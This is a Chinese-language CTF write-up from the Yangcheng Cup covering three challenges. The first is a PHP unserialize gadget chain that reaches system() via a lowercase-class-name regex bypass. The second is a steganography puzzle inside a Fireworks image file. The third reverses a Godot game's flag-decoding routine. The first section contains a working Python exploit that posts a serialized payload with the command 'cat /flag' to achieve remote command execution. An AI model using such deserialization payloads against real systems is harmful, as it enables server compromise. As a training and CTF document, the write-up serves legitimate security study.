好久没打CTF了,打个羊城杯回顾一下,记录一下做题过程。
给了份php代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $first;
public $step;
public $next;
public function __construct() {
$this->first = "继续加油!";
}
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep;
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
unserialize($_POST['payload']);
?>
代码审计后一看就能看到unserialize这个危险函数
unserialize() 函数用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构
并且代码里面没有进行任何的过滤和检验,那么如果类中定义了像:
__destruct()
,__toString()
,__wakeup()
__call()
、__get()
、__invoke()
等这样的魔术方法,攻击者就可以通过构造精心的序列化对象,就可以让
PHP 自动执行任意代码路径
而这份代码里刚好有一整套可链式调用的危险类
首先是class A
public function start() {
echo $this->next;
}
当 echo $this->next
时,若 $this->next
是个对象且定义了 __toString()
,则会触发它
接着是 class E
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
这会触发 $this->found->check()
还有class H
public function __destruct() {
$this->who->start();
}
在销毁时自动调用 $this->who->start()
class U直接进行任意命令执行
public function __invoke() {
return $this->there->system($this->cmd);
}
还有class F class V 也有类似的魔术方法,所以我们可以构造一串序列化对象,让程序在 unserialize()
时自动触发这一系列魔术方法,最终执行系统命令,
拿到flag,这就是脚本的思路
import requests
import urllib.parse
url = "" #web1给的目标url
payload_str = 'O:1:"H":3:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":3:{s:6:"\00E\00you";N;s:9:"\00E\00secret";s:8:"admin123";s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}s:3:"are";N;s:3:"you";N;}'
data = {
"payload": payload_str,
"cmd": "cat /flag"
}
try:
response = requests.post(url, data=data, timeout=10)
print("响应状态码:", response.status_code)
print("响应内容:\n", response.text)
except Exception as e:
print("请求错误:", e)
用 requests.post
向目标 URL 发起一个表单 POST,请求体包含两个字段:
payload
:一个 PHP serialize()
格式的字符串(会被服务端 unserialize()
)。
cmd
:要传给后续链路执行/使用的命令(在原始易受攻击代码中会被 U
类读取并最终交给 system()
)
然后来依次解释payload_str
最外层:O:1:"H":3:{ ... }
—— 一个 H
实例,3 个属性:who
, are
, you
who
→ 是一个 A
对象:O:1:"A":3:{ ... }
A
的 next
字段被设置成一个 V
对象:O:1:"V":4:{ ... }
V->dowhat
= "secret"
(注意是字符串 "secret"
)
V->go
→ 是一个 E
对象:O:1:"E":3:{ ... }
在 E
对象内,你看到 \00E\00secret
被赋值为 "admin123"
E->found
→ 是一个 F
对象:O:1:"F":3:{ ... }
F->finalstep
被设置为 s:1:"u"
H
的其它属性 are
、you
在 payload 里是 N
。
简单点来说,就是payload 手工把 H
→ A
→ V
→ E
→ F
这样的对象关系构造出来,并把 F->finalstep
置为 'u'
,把 V->dowhat
置为 'secret'
,并把 E
的私有 secret
属性显式写成 "admin123"
那是如何触发ROP链的呢?
首先,服务端会执行 unserialize($_POST['payload'])
,然后在脚本结束或对象被回收时,H::__destruct()
会自动运行,其中有 $this->who-
>start();
,即会调用 A->start()
去执行 echo $this->next;
由于 A->next
被设为一个对象 V
,echo
会触发 V::__toString()
,而V::__toString()
的操作是内部读取 $this->dowhat
("secret"
),然后执行
$this->go->$abc
,即 E->secret
,访问该属性会触发 E::__get('secret')
,E::__get()
在检测到 $name === "secret"
时会执行 $this->found->check()
—— 也就是调用 F::check()
F::check()
会去检查 preg_match("/U/", $this->finalstep)
;
如果 finalstep
包含大写 U
,则会不予继续执行
但这里 payload 把 finalstep
设为小写 'u'
(s:1:"u"
),preg_match("/U/","u") 不匹配,因此绕过了
所以因此 F::check()
会执行:
$this->step = new $this->finalstep();
($this->step)();
这会 new
一个名为 'u'
的类,在 PHP 中类名不区分大小写,因此 'u'
会解析为 U
类,并随后把该实例当函数调用,触发 U::__invoke()
而U::__invoke()
会调用 $this->there->system($this->cmd)
而且,there
被构造为 N
,而 N::__call()
会把方法名当作函数名执行(call_user_func($func_name,$args[0])
),从而把 system($cmd)
真正执行出来
最后U::__construct()
在构造时会读取 $_POST['cmd']
,即脚本里传的 "cat /flag"
,所以最终会对传入的 cmd
执行
所以成功拿到flag
层层解包之后,发现是一张图片
这种一般都是图片里面隐藏有什么东西,用010打开看看
发现是mkbt,应该是那种自定义的模块,上网找找资料
发现是adobe fireworks 的专有格式,需要使用fireworks才能看到完整信息
https://zhuanlan.zhihu.com/p/32247127059
打开之后发现一张隐藏图片
打开看看,发现是带有一些符号的图片
一开始还没有想明白这是什么东西,直到有师傅提醒说这是二进制,男是1,女是0,就可以转换为flag了.....
拿到题目是个exe文件,先点开看看能不能运行,一运行就看到熟悉的界面,这个界面和图标太熟悉了!(别问我为什么会熟悉!)
这是Godot引擎写的游戏,所以得去找对应的逆向工具
拿工具提取之后,就能发现所有文件的代码都能看到(这比C逆向好看多了)
在main.gdc文件中发现了一个类似输出结果分数的函数,怀疑这里就是flag输出的地方
当分数达到特定值 7906
时,把字符串 a
按自定义编码解码成文本
var bin_chunk = a.substr(i, 12)
:取出当前的 12 位子串
将这 12 位再分为 三个 4 位子串:
hundreds = bin_chunk.substr(0, 4).bin_to_int()
:把前 4 位当作二进制数(0~15),转成整数,作百位数字
tens = bin_chunk.substr(4, 4).bin_to_int()
:中间 4 位,当作十位(0~15)
units = bin_chunk.substr(8, 4).bin_to_int()
:最后 4 位,当作个位(0~15)
var ascii_value = hundreds * 100 + tens * 10 + units
:把三个小数位组组合成一个十进制数,计算方法是 hundreds*100 + tens*10 + units
——
也就是说每 4 位不是直接表示一个十进制数,而是分别代表 ASCII 值的百位、十位、个位
如果三个 4 位分别是 0000
, 0001
, 0010
,那就是 0*100 + 1*10 + 2 = 12
→ ASCII 码 12
result += String.chr(ascii_value)
:把计算出的十进制作为 ASCII 码,用 String.chr
转成字符并追加到 result
循环结束后,$HUD.show_message(result)
在 HUD 上显示解码后的整段文本
那脚本编写就很容易了,因为我们没时间在游戏中拿到7906分,所以可以直接把代码中字符串a的数值拷贝下来,然后再把上述代码张贴上去,让它跑字符串a的
数值就可以了,就这么简单
a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"
flag = ""
for i in range(0, len(a), 12):
bin_chunk = a[i:i+12]
hundreds = int(bin_chunk[0:4], 2)
tens = int(bin_chunk[4:8], 2)
units = int(bin_chunk[8:12], 2)
ascii_value = hundreds * 100 + tens * 10 + units
flag += chr(ascii_value)
print(flag)
本课程最终解释权归蚁景网安学院
本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动